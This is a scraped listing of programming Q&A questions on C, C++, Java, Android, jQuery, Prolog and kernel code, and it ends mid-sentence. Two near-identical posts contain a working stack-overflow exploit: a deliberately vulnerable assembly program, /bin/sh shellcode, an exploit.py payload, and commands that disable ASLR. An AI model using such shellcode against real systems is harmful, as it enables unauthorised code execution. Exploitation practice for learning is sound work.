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  • SDL doesn't detect Arrow Keys

    - by Scott
    I am working through the SDL tutorials over at http://lazyfoo.net/SDL_tutorials/index.php and I'm stuck on tutorial 8 where I'm working with key presses. I'm using the following code: //Our Main application loop while(!quit){ if(SDL_PollEvent(&curEvents)){ if(curEvents.type == SDL_QUIT){ quit = true; } //If a key was pressed if( curEvents.type == SDL_KEYDOWN ) { //Set the proper message surface switch( curEvents.key.keysym.sym ) { case SDLK_UP: message = upMessage; break; case SDLK_DOWN: message = downMessage; break; case SDLK_LEFT: message = leftMessage; break; case SDLK_RIGHT: message = rightMessage; break; default: message = TTF_RenderText_Solid(font, "Unknown Key", textColor); break; } } } if( message != NULL ) { //Apply the background to the screen applySurface( 0, 0, background, screen ); //Apply the message centered on the screen applySurface( ( SCREEN_WIDTH - message->w ) / 2, ( SCREEN_HEIGHT - message->h ) / 2, message, screen ); //Null the surface pointer message = NULL; } //Update the screen if( SDL_Flip( screen ) == -1 ) { return 1; } } Where works fine, the default case is reached, for everything BUT pressing the arrow keys. I was wondering if someone could spot what I'm doing wrong.

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  • JNI problem when calling a native library that loads another native library

    - by TheEnemyOfQuality
    I've got a bit of an odd problem. I have a project in C++ that's basically a wrapper for a third party DLL like this: MyLibrary --loads DLL_A ----loads DLL_B I load DLL_A with LoadLibrary(), wrap several of its functions and generate my own DLL. I've tested this in a C++ project and a C# project. Both do everything they're supposed to do: load DLL_A, make a couple of function calls, and indirectly load DLL_B. The problem is when I build a DLL for java and make the calls through JNI. Everything runs like it should (no java.lang.UnsatisfiedLinkError), but when it comes time for DLL_A to load DLL_B it doesn't work. From debugging, the loading of DLL_B happens on a function call in DLL_A that takes a callback. When called from Java, this function call seems to fail (the function pointer is fine and the actual call goes off without a hitch), and I get an odd pop-up window saying DLL_B failed to load, and my program is left waiting for a callback that never happens. I can explicitly load DLL_B just fine (both from Java and from C++) and I've checked every possible path, path variable, and tried placing the dlls everywhere to see if it could be looking somewhere funny. I'm pretty sure it's not a path problem. Ultimately I don't know how DLL_A is loading DLL_B and I can't figure out why everything works fine in C++ and C#, but not in Java. I'm absolutely flummoxed. It could still be something specific to my setup (although I've looked as hard as I can look), but I'm throwing this scenario out there to see if anyone has run into a similar problem. -Dave

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • x86 instruction encoding tables

    - by Cheery
    I'm in middle of rewriting my assembler. While at it I'm curious about implementing disassembly as well. I want to make it simple and compact, and there's concepts I can exploit while doing so. It is possible to determine rest of the x86 instruction encoding from opcode (maybe prefix bytes are required too, a bit). I know many people have written tables for doing it. I'm not interested about mnemonics but instruction encoding, because it is an actual hard problem there. For each opcode number I need to know: does this instruction contain modrm? how many immediate fields does this instruction have? what encoding does an immediate use? is the immediate in field an instruction pointer -relative address? what kind of registers does the modrm use for operand and register fields? sandpile.org has somewhat quite much what I'd need, but it's in format that isn't easy to parse. Before I start writing and validating those tables myself, I decided to write this question. Do you know about this kind of tables existing somewhere? In a form that doesn't require too much effort to parse.

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  • Jquery Flexslider - can't see navigational images (manualControl)

    - by Kim Thomas
    I've spent a lot of time looking at the post on 3/13/12 re: manual controls, but isn't getting me all the way there...probably because I don't know jquery. Sorry, newbie on board. I'm trying to get the right/left arrows to show, as well as the 1, 2, 3...at the bottom. They are there, I see the lists on Firebug, just don't know how to add them to the "hook" (?) so they appear. Here is the code I have in header: <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script> <script src="jquery.flexslider.js"></script> <script type="text/javascript" charset="utf-8"> $(window).load(function() { $('.flexslider').flexslider({ animation: "slide", slideshow: false, controlNav: true, manualControls: ".flex-control-nav li a", controlsContainer: ".flex-container" }); }); </script> Here is my html: <div class="flex-container"> <div class="flexslider"> <ul class="slides"> <li><img src="images/tah_home.jpg" alt="taylor art house home page" width="600" height="320"/> <p class="flex-caption">Taylor Art House Home Page</p></li> <li><img src="images/tah_blog.jpg" alt="taylor art house blog page" width="600" height="320" /> <p class="flex-caption">We created a blog that fits seemlessly into Taylor Art House's look</p></li> <li><img src="images/tah_artwork_page.jpg" alt="taylor art house art page" width="600" height="320" /> <p class="flex-caption">One of Taylor Art House's gallery pages, using a Wordpress plugin</p></li> <li><img src="images/tah_arch_portfolio.jpg" alt="jon taylor architecture portfolio page" width="600" height="320" /> <p class="flex-caption">We created links to toggle from TAH to Jon Taylor Architecture</p></li> </ul> </div><!--end flexsider--> </div><!--end flex-container--> Here is the Flexslider CSS: /* * jQuery FlexSlider v1.8 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the MIT license. * http://www.opensource.org/licenses/mit-license.php */ /* Browser Resets */ .flex-container a:active, .flexslider a:active, .flex-container a:focus, .flexslider a:focus {outline: none;} .slides, .flex-control-nav, .flex-direction-nav {margin: 0; padding: 0; list-style: none;} /* FlexSlider Necessary Styles *********************************/ .flexslider { width: 100%; margin: 0; padding: 0; } .flexslider .slides > li { display: none; -webkit-backface-visibility: hidden; } /* Hide the slides before the JS is loaded. Avoids image jumping */ .flexslider .slides img { max-width: 100%; display: block; } .flex-pauseplay span { text-transform: capitalize; } /* Clearfix for the .slides element */ .slides:after { content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0; } html[xmlns] .slides { display: block; } * html .slides { height: 1%; } /* No JavaScript Fallback */ /* If you are not using another script, such as Modernizr, make sure you * include js that eliminates this class on page load */ .no-js .slides > li:first-child { display: block; } /* FlexSlider Default Theme *********************************/ .flexslider { width: 600px; background: #fff; border: 4px solid #999; position: relative; margin: 30px 0; -webkit-border-radius: 5px; -moz-border-radius: 5px; -o-border-radius: 5px; border-radius: 5px; zoom: 1; } .flexslider .slides { zoom: 1; } .flexslider .slides > li { position: relative; } /* Suggested container for "Slide" animation setups. Can replace this with your own, if you wish */ .flex-container { zoom: 1; position: relative; margin-left:100px; } /* Caption style */ /* IE rgba() hack */ .flex-caption { background:none; -ms-filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4C000000,endColorstr=#4C000000); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4C000000,endColorstr=#4C000000); zoom: 1; } .flex-caption { width: 96%; padding: 2%; margin: 0; position: absolute; left: 0; bottom: 0; background: rgba(0,0,0,.3); color: #fff; text-shadow: 0 -1px 0 rgba(0,0,0,.3); font-size: 14px; line-height: 18px; } /* Direction Nav */ .flex-direction-nav { height: 0; } .flex-direction-nav li a { width: 52px; height: 52px; margin: -13px 0 0; display: block; background: url(theme/bg_direction_nav.png) no-repeat; position: absolute; top: 50%; cursor: pointer; text-indent: -999em; } .flex-direction-nav li .next { background-position: -52px 0; right: -21px; } .flex-direction-nav li .prev { left: -20px; } .flex-direction-nav li .disabled { opacity: .3; filter:alpha(opacity=30); cursor: default; } /* Control Nav */ .flex-control-nav { width: 100%; position: absolute; bottom: -30px; text-align: center; } .flex-control-nav li { margin: 0 0 0 5px; display: inline-block; zoom: 1; *display: inline; } .flex-control-nav li:first-child { margin: 0; } .flex-control-nav li a { width: 13px; height: 13px; display: block; background: url(theme/bg_control_nav.png) no-repeat; cursor: pointer; text-indent: -999em; } .flex-control-nav li a:hover { background-position: 0 -13px; } .flex-control-nav li a.active { background-position: 0 -26px; cursor: default; } Here is how it appears in Firebug: <div class="flex-container"> <div class="flexslider" style="overflow: hidden;"> <ul class="slides" style="width: 1200%; margin-left: -1800px;"> <li class="clone" style="width: 600px; float: left; display: block;"> <li style="width: 600px; float: left; display: block;"> <li style="width: 600px; float: left; display: block;"> <li style="width: 600px; float: left; display: block;"> <li style="width: 600px; float: left; display: block;"> <li class="clone" style="width: 600px; float: left; display: block;"> </ul> </div> <ol class="flex-control-nav"> <li> <a class="">1</a> </li> <li> <li> <li> </ol> <ul class="flex-direction-nav"> <li> <a class="prev" href="#">Previous</a> </li> <li> <a class="next" href="#">Next</a> </li> </ul> </div> Finally, here is a link to the jsFiddle file (I saw someone wanted that in other flexslider post): http://jsfiddle.net/kthms/Wxmsp/ Link to page: http://www.kajortdesigns.com/tah.php I've tried every combo of class from the CSS in the manualControl: "", but I'm just guessing. If anyone can help this newbie out, I would be very appreciative. Explicit instructions are always appreciated.

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  • SWI-Prolog as an embedded application in VS2008 C++

    - by H.J. Miri
    I have a C++ application (prog.sln) which is my main program and I want to use Prolog as an embedded logic server (hanoi.pl) int main(int argc, char** argv) { putenv( "SWI_HOME_DIR=C:\\Program Files\\pl" ); argv[0] = "libpl.dll"; argv[1] = "-x"; argv[2] = "hanoi.pl"; argv[3] = NULL; PL_initialise(argc, argv); { fid_t fid = PL_open_foreign_frame(); predicate_t pred = PL_predicate( "hanoi", 1, "user" ); int rval = PL_call_predicate( NULL, PL_Q_NORMAL, pred, 3 ); qid_t qid = PL_open_query( NULL, PL_Q_NORMAL, pred, 3 ); while ( PL_next_solution(qid) ) return qid; PL_close_query(qid); PL_close_foreign_frame(fid); system("PAUSE"); } return 1; system("PAUSE"); } Here is my Prolog source code: :- use_module( library(shlib) ). hanoi( N ):- move( N, left, center, right ). move( 0, _, _, _ ):- !. move( N, A, B, C ):- M is N-1, move( M, A, C, B ), inform( A, B ), move( M, C, B, A ). inform( X, Y ):- write( 'move a disk from ' ), write( X ), write( ' to ' ), write( Y ), nl. I type at the command: plld -o hanoi prog.sln hanoi.pl But it doesn't compile. When I run my C++ app, it says: Undefined procedure: hanoi/1 What is missing/wrong in my code or at the prompt that prevents my C++ app from consulting Prolog? Appreciate any help/pointer.

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  • Canvas rotate from bottom center image angle?

    - by Tom
    How do you rotate an image with the canvas html5 element from the bottom center angle? See http://uptowar.com/test.php for my current code and image: <html> <head> <title>test</title> <script type="text/javascript"> function startup() { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var img = new Image(); img.src = 'player.gif'; img.onload = function() { ctx.translate(185, 185); ctx.rotate(90 * Math.PI / 180); ctx.drawImage(img, 0, 0, 64, 120); } } </script> </head> <body onload='startup();'> <canvas id="canvas" style="position: absolute; left: 300px; top: 300px;" width="800" height="800"></canvas> </body> </html> Unfortunately this seems to rotate it from the top left angle of the image. Any idea? Edit: in the end the object (space ship) has to rotate like a clock pointer, as if it is turning right/left.

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  • error with "pmem.c" compiling linux source code for android

    - by Preetam
    I am compiling linux source code for android emulator. When i execute make command(for building and cross-compiling the linux source) i get the following error "pmem.c" file. root@ubuntu:~/common# make CHK include/linux/version.h CHK include/linux/utsrelease.h SYMLINK include/asm - include/asm-x86 CALL scripts/checksyscalls.sh CHK include/linux/compile.h CC drivers/misc/pmem.o drivers/misc/pmem.c:441: error: conflicting types for ‘phys_mem_access_prot’ /home/preetam/common/arch/x86/include/asm/pgtable.h:383: note: previous declaration of ‘phys_mem_access_prot’ was here drivers/misc/pmem.c: In function ‘flush_pmem_file’: drivers/misc/pmem.c:805: error: implicit declaration of function ‘dmac_flush_range’ drivers/misc/pmem.c: In function ‘pmem_setup’: drivers/misc/pmem.c:1265: error: implicit declaration of function ‘ioremap_cached’ drivers/misc/pmem.c:1266: warning: assignment makes pointer from integer without a cast make[2]: * [drivers/misc/pmem.o] Error 1 make[1]: [drivers/misc] Error 2 make: ** [drivers] Error 2 root@ubuntu:~/common# how to resolve this error. It seems that there may some problems in the "pmem.c" file and i'll have to choose different git repository. but that would be a very complex thing, as now i have already done most of the things till here. I might have to see correct version of this file. please someone tell what should i do? how to solve this errors. please help..thankyou!

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  • geocoder.getFromLocationName returns only null

    - by test
    Hello, I am going out of my mind for the last 2 days with an IllegalArgumentException error i receive in android code when trying to get a coordinates out of an address, or even reverse, get address out of longitude and latitude. this is the code, but i cannot see an error. is a standard code snippet that is easily found on a google search. public GeoPoint determineLatLngFromAddress(Context appContext, String strAddress) { Geocoder geocoder = new Geocoder(appContext, Locale.getDefault()); GeoPoint g = null; try { System.out.println("str addres: " + strAddress); List<Address> addresses = geocoder.getFromLocationName(strAddress, 5); if (addresses.size() > 0) { g = new GeoPoint((int) (addresses.get(0).getLatitude() * 1E6), (int) (addresses.get(0).getLongitude() * 1E6)); } } catch (Exception e) { throw new IllegalArgumentException("locationName == null"); } return g; } These are the permissions from manifest.xml file: <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" /> I do have the Google Api key declared too: <uses-library android:name="com.google.android.maps" /> From the code snippet above, geo coder is not null, neither is the address or appContext, and i stumble here: geocoder.getFromLocationName(strAddress, 5); I did a lot of google searching and found nothing that worked, and the most important info i found is this: ""The Geocoder class requires a backend service that is not included in the core android framework." Sooo, i am confuzed now. What do I have to call, import, add, use in code.... to make this work? I am using Google Api2.2, Api level 8. If somebody has found a solution for this, or a pointer for documentation, something that i didn't discover, please let us know. Thank you for your time.

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  • Malloc corrupting already malloc'd memory in C

    - by Kyte
    I'm currently helping a friend debug a program of his, which includes linked lists. His list structure is pretty simple: typedef struct nodo{ int cantUnos; char* numBin; struct nodo* sig; }Nodo; We've got the following code snippet: void insNodo(Nodo** lista, char* auxBin, int auxCantUnos){ printf("*******Insertando\n"); int i; if (*lista) printf("DecInt*%p->%p\n", *lista, (*lista)->sig); Nodo* insert = (Nodo*)malloc(sizeof(Nodo*)); if (*lista) printf("Malloc*%p->%p\n", *lista, (*lista)->sig); insert->cantUnos = auxCantUnos; insert->numBin = (char*)malloc(strlen(auxBin)*sizeof(char)); for(i=0 ; i<strlen(auxBin) ; i++) insert->numBin[i] = auxBin[i]; insert-numBin[i] = '\0'; insert-sig = NULL; Nodo* aux; [etc] (The lines with extra indentation were my addition for debug purposes) This yields me the following: *******Insertando DecInt*00341098->00000000 Malloc*00341098->2832B6EE (*lista)-sig is previously and deliberately set as NULL, which checks out until here, and fixed a potential buffer overflow (he'd forgotten to copy the NULL-terminator in insert-numBin). I can't think of a single reason why'd that happen, nor I've got any idea on what else should I provide as further info. (Compiling on latest stable MinGW under fully-patched Windows 7, friend's using MinGW under Windows XP. On my machine, at least, in only happens when GDB's not attached.) Any ideas? Suggestions? Possible exorcism techniques? (Current hack is copying the sig pointer to a temp variable and restore it after malloc. It breaks anyways. Turns out the 2nd malloc corrupts it too. Interestingly enough, it resets sig to the exact same value as the first one).

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  • Passing char * into fopen with C.

    - by Rhys
    Hey there, I'm writing a program that passes data from a file into an array, but I'm having trouble with fopen (). It seems to work fine when I hardcode the file path into the parameters (eg fopen ("data/1.dat", "r");) but when I pass it as a pointer, it returns NULL. Note that line 142 will print "data/1.dat" if entered from command line so parse_args () appears to be working. 132 int 133 main(int argc, char **argv) 134 { 135 FILE *in_file; 136 int *nextItem = (int *) malloc (sizeof (int)); 137 set_t *dictionary; 138 139 /* Parse Arguments */ 140 clo_t *iopts = parse_args(argc, argv); 141 142 printf ("INPUT FILE: %s.\n", iopts->input_file); /* This prints correct path */ 143 /* Initialise dictionary */ 144 dictionary = set_create (SET_INITAL_SIZE); 145 146 /* Use fscanf to read all data values into new set_t */ 147 if ((in_file = fopen (iopts->input_file, "r")) == NULL) 148 { 149 printf ("File not found...\n"); 150 return 0; 151 } Thanks! Rhys

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  • Detect click on URL in RichEdit

    - by Tofig Hasanov
    I am trying to update RichEdit so that it detects URL and enables clicking on it to open in the browser. Detecting URL is easy, I just use the following code from http://www.scalabium.com/faq/dct0146.htm mask := SendMessage(MNote.Handle, EM_GETEVENTMASK, 0, 0); SendMessage(MNote.Handle, EM_SETEVENTMASK, 0, mask or ENM_LINK); SendMessage(MNote.Handle, EM_AUTOURLDETECT, Integer(True), 0); but the second part doesn't work for me. They give the following code to capture EN_LINK message and processing it: type TForm1 = class(TForm) protected procedure WndProc(var Message: TMessage); override; end; ... procedure TForm1.WndProc(var Message: TMessage); var p: TENLink; strURL: string; begin if (Message.Msg = WM_NOTIFY) then begin if (PNMHDR(Message.LParam).code = EN_LINK) then begin p := TENLink(Pointer(TWMNotify(Message).NMHdr)^); if (p.msg = WM_LBUTTONDOWN) then begin SendMessage(RichEdit1.Handle, EM_EXSETSEL, 0, LongInt(@(p.chrg))); strURL := RichEdit1.SelText; ShellExecute(Handle, 'open', PChar(strURL), 0, 0, SW_SHOWNORMAL); end end end; inherited; end; When I run the program, URL is detected, but clicking on it doesn't do anything. Using debug I found out that Message.Msg = WM_NOTIFY is not true when I click on URL. I then tried to override TRichEdit's WndProc, but result is the same. Any suggestions?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • PDCurses TUI C++ Win32 console app - Access violation reading location

    - by Bach
    I have downloaded pdcurses source and was able to successfully include curses.h in my project, linked the pre-compiled library and all good. After few hours of trying out the library, I saw the tuidemo.c in the demos folder, compiled it into an executable and brilliant! exactly what I needed for my project. Now the problem is that it's a C code, and I am working on a C++ project in VS c++ 2008. The files I need are tui.c and tui.h How can I include that C file in my C++ code? I saw few suggestions here but the compiler was not too happy with 100's of warnings and errors. How can I go on including/using that TUI pdcurses includes!? Thanks EDIT: I added extern "C" statement, so my test looks like this now, but I'm getting some other type of error #include <stdio.h> #include <stdlib.h> using namespace std; extern "C" { #include <tui.h> } void sub0(void) { //do nothing } void sub1(void) { //do nothing } int main (int argc, char * const argv[]) { menu MainMenu[] = { { "Asub", sub0, "Go inside first submenu" }, { "Bsub", sub1, "Go inside second submenu" }, { "", (FUNC)0, "" } /* always add this as the last item! */ }; startmenu(MainMenu, "TUI - 'textual user interface' demonstration program"); return 0; } Although it is compiling successfully, it is throwing an Error at runtime, which suggests a bad pointer: 0xC0000005: Access violation reading location 0x021c52f9 at line startmenu(MainMenu, "TUI - 'textual user interface' demonstration program"); Not sure where to go from here. thanks again.

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  • Multiple SFINAE rules

    - by Fred
    Hi everyone, After reading the answer to this question, I learned that SFINAE can be used to choose between two functions based on whether the class has a certain member function. It's the equivalent of the following, just that each branch in the if statement is split into an overloaded function: template<typename T> void Func(T& arg) { if(HAS_MEMBER_FUNCTION_X(T)) arg.X(); else //Do something else because T doesn't have X() } becomes template<typename T> void Func(T &arg, int_to_type<true>); //T has X() template<typename T> void Func(T &arg, int_to_type<false>); //T does not have X() I was wondering if it was possible to extend SFINAE to do multiple rules. Something that would be the equivalent of this: template<typename T> void Func(T& arg) { if(HAS_MEMBER_FUNCTION_X(T)) //See if T has a member function X arg.X(); else if(POINTER_DERIVED_FROM_CLASS_A(T)) //See if T is a pointer to a class derived from class A arg->A_Function(); else if(DERIVED_FROM_CLASS_B(T)) //See if T derives from class B arg.B_Function(); else if(IS_TEMPLATE_CLASS_C(T)) //See if T is class C<U> where U could be anything arg.C_Function(); else if(IS_POD(T)) //See if T is a POD type //Do something with a POD type else //Do something else because none of the above rules apply } Is something like this possible? Thank you.

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  • Reading Xml with XmlReader in C#

    - by Gloria Huang
    I'm trying to read the following Xml document as fast as I can and let additional classes manage the reading of each sub block. <ApplicationPool><Accounts><Account><NameOfKin></NameOfKin><StatementsAvailable><Statement></Statement></StatementsAvailable></Account></Accounts></ApplicationPool> I can't seem to format the above nicely :( However, I'm trying to use the XmlReader object to read each Account and subsequently the "StatementsAvailable". Do you suggest using XmlReader.Read and check each element and handle it? I've thought of seperating my classes to handle each node properly. So theres an AccountBase class that accepts a XmlReader instance that reads the NameOfKin and several other properties about the account. Then I was wanting to interate through the Statements and let another class fill itself out about the Statement (and subsequently add it to an IList). Thus far I have the "per class" part done by doing XmlReader.ReadElementString() but I can't workout how to tell the pointer to move to the StatementsAvailable element and let me iterate through them and let another class read each of those proeprties. Sounds easy!

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  • android bindservice

    - by mnish
    hi, I get null pointer exception at line mService.start() when i try to bind to an already started service. I do the same thing from different activity(where the service gets started) everythig goes right. All these activities are part of one application. What do you think I do wrong? public class RouteOnMap extends MapActivity{ private static final int NEW_LOCATION = 1; private static final int GPS_OFF = 2; private MapView mMapView; private ILocService mService; private boolean mServiceStarted; private boolean mBound; private Intent mServiceIntent; private double mLatitude, mLongitude; private ServiceConnection connection = new ServiceConnection() { public void onServiceConnected(ComponentName className, IBinder iservice) { mService = ILocService.Stub.asInterface(iservice); mBound = true; } public void onServiceDisconnected(ComponentName className) { mService = null; mBound = false; } }; public void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.mapview); mMapView = (MapView) findViewById(R.id.mapview); mMapView.setBuiltInZoomControls(true); mServiceIntent = new Intent(); mLatitude = 0.0; mLongitude = 0.0; mBound = false; } @Override public void onStart(){ super.onStart(); mServiceIntent.setClass(this, LocationService.class); //startService(mServiceIntent); if(!mBound){ mBound = true; this.bindService(mServiceIntent, connection, Context.BIND_AUTO_CREATE); } } @Override public void onResume(){ super.onResume(); try { mService.start(); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onPause(){ super.onPause(); if(mBound){ this.unbindService(connection); } } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; } }

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  • Java/Spring: Why won't Spring use the validator object I have configured?

    - by GMK
    I'm writing a web app with Java & Spring 2.5.6 and using annotations for bean validation. I can get the basic annotation validation working fine, and Spring will even call a custom Validator declared with @Validator on the target bean. But it always instantiates a brand new Validator object to do it. This is bad because the new validator has none of the injected dependencies it needs to run, and so it throws a null pointer exception on validate. I need one of two things and I don't know how to do either. Convince Spring to use the validator I have already configured. Convince Spring to honor the @Autowired annotations when it creates the new validator. The validator has the @Component annotation, like this. @Component public class AccessCodeBeanValidator implements Validator { @Autowired private MessageSource messageSource; Spring finds the validator in the component scan, injects the autowired dependencies, but then ignores it and creates a new one at validation time. The only thing that I can do at the moment is add a validator reference into the controller for each validator object and use that ref directly, instead of relying on the bean validation framework to call the validator for me. It looks like this. // first validate via the annotations on the bean beanValidator.validate(accessCodeBean, result); // then validate using the specific validator class acbValidator.validate(accessCodeBean, result); if (result.hasErrors()) { If anyone knows how to convince spring to use the existing validator, instead of creating a new one, or how to make it do the autowiring when it creates a new one, I'd love to know.

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  • Linux Kernel - Red/Black Trees

    - by CodeRanger
    I'm trying to implement a red/black tree in Linux per task_struct using code from linux/rbtree.h. I can get a red/black tree inserting properly in a standalone space in the kernel such as a module but when I try to get the same code to function with the rb_root declared in either task_struct or task_struct-files_struct, I get a SEGFAULT everytime I try an insert. Here's some code: In task_struct I create a rb_root struct for my tree (not a pointer). In init_task.h, macro INIT_TASK(tsk), I set this equal to RB_ROOT. To do an insert, I use this code: rb_insert(&(current-fd_tree), &rbnode); This is where the issue occurs. My insert command is the standard insert that is documented in all RBTree documentation for the kernel: int my_insert(struct rb_root *root, struct mytype *data) { struct rb_node **new = &(root->rb_node), *parent = NULL; /* Figure out where to put new node */ while (*new) { struct mytype *this = container_of(*new, struct mytype, node); int result = strcmp(data->keystring, this->keystring); parent = *new; if (result < 0) new = &((*new)->rb_left); else if (result > 0) new = &((*new)->rb_right); else return FALSE; } /* Add new node and rebalance tree. */ rb_link_node(&data->node, parent, new); rb_insert_color(&data->node, root); return TRUE; } Is there something I'm missing? Some reason this would work fine if I made a tree root outside of task_struct? If I make rb_root inside of a module this insert works fine. But once I put the actual tree root in the task_struct or even in the task_struct-files_struct, I get a SEGFAULT. Can a root node not be added in these structs? Any tips are greatly appreciated. I've tried nearly everything I can think of.

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  • argv Memory Allocation

    - by Joshua Green
    I was wondering if someone could tell me what I am doing wrong that I get this Unhandled Exception error message: 0xC0000005: Access violation reading location 0x0000000c. with a green pointer pointing at my first Prolog code (fid_t): Here is my header file: class UserTaskProlog { public: UserTaskProlog( ArRobot* r ); ~UserTaskProlog( ); protected: int cycles; char* argv[ 1 ]; term_t tf; term_t tx; term_t goal_term; functor_t goal_functor; ArRobot* robot; void logTask( ); }; And here is my main code: UserTaskProlog::UserTaskProlog( ArRobot* r ) : robot( r ), robotTaskFunc( this, &UserTaskProlog::logTask ) { cycles = 0; argv[ 0 ] = "libpl.dll"; argv[ 1 ] = NULL; PL_initialise( 1, argv ); PlCall( "consult( 'myPrologFile.pl' )" ); robot->addSensorInterpTask( "UserTaskProlog", 50, &robotTaskFunc ); } UserTaskProlog::~UserTaskProlog( ) { robot->remSensorInterpTask( &robotTaskFunc ); } void UserTaskProlog::logTask( ) { cycles++; fid_t fid = PL_open_foreign_frame( ); tf = PL_new_term_ref( ); PL_put_integer( tf, 5 ); tx = PL_new_term_ref( ); goal_term = PL_new_term_ref( ); goal_functor = PL_new_functor( PL_new_atom( "factorial" ), 2 ); PL_cons_functor( goal_term, goal_functor, tf, tx ); int fact; if ( PL_call( goal_term, NULL ) ) { PL_get_integer( tx, &fact ); cout << fact << endl; } PL_discard_foreign_frame( fid ); } int main( int argc, char** argv ) { ArRobot robot; ArArgumentParser argParser( &argc, argv ); UserTaskProlog talk( &robot ); } Thank you,

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  • What sorting algorithm is this?

    - by Mike
    Hi, I have a sorting algorithm as follows. My question is, which sorting algorithm is this? I thought it was bubble sort, but it does not do multiple runs. Any idea? Thanks! //sorting in descending order struct node { int value; node* NEXT; } //Assume HEAD pointer denotes the first element in the //linked list // only change the values…don’t have to change the //pointers Sort( Node *Head) { node* first,second,temp; first= Head; while(first!=null) { second=first->NEXT; while(second!=null) { if(first->value < second->value) { temp = new node(); temp->value=first->value; first->value=second->value; second->value=temp->value; delete temp; } second=second->NEXT; } first=first->NEXT; } }

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  • maps, iterators, and complex structs - STL errors

    - by Austin Hyde
    So, I have two structs: struct coordinate { float x; float y; } struct person { int id; coordinate location; } and a function operating on coordinates: float distance(const coordinate& c1, const coordinate& c2); In my main method, I have the following code: map<int,person> people; // populate people map<int,map<float,int> > distance_map; map<int,person>::iterator it1,it2; for (it1=people.begin(); it1!=people.end(); ++it1) { for (it2=people.begin(); it2!=people.end(); ++it2) { float d = distance(it1->second.location,it2->second.location); distance_map[it1->first][d] = it2->first; } } However, I get the following error upon build: stl_iterator_base_types.h: In instantiation of ‘std::iterator_traits<coordinate>’: stl_iterator_base_types.h:129: error: no type named ‘iterator_category’ in ‘struct coordinate’ stl_iterator_base_types.h:130: error: no type named ‘value_type’ in ‘struct coordinate’ stl_iterator_base_types.h:131: error: no type named ‘difference_type’ in ‘struct coordinate’ stl_iterator_base_types.h:132: error: no type named ‘pointer’ in ‘struct coordinate’ stl_iterator_base_types.h:133: error: no type named ‘reference’ in ‘struct coordinate’ And it blames it on the line: float d = 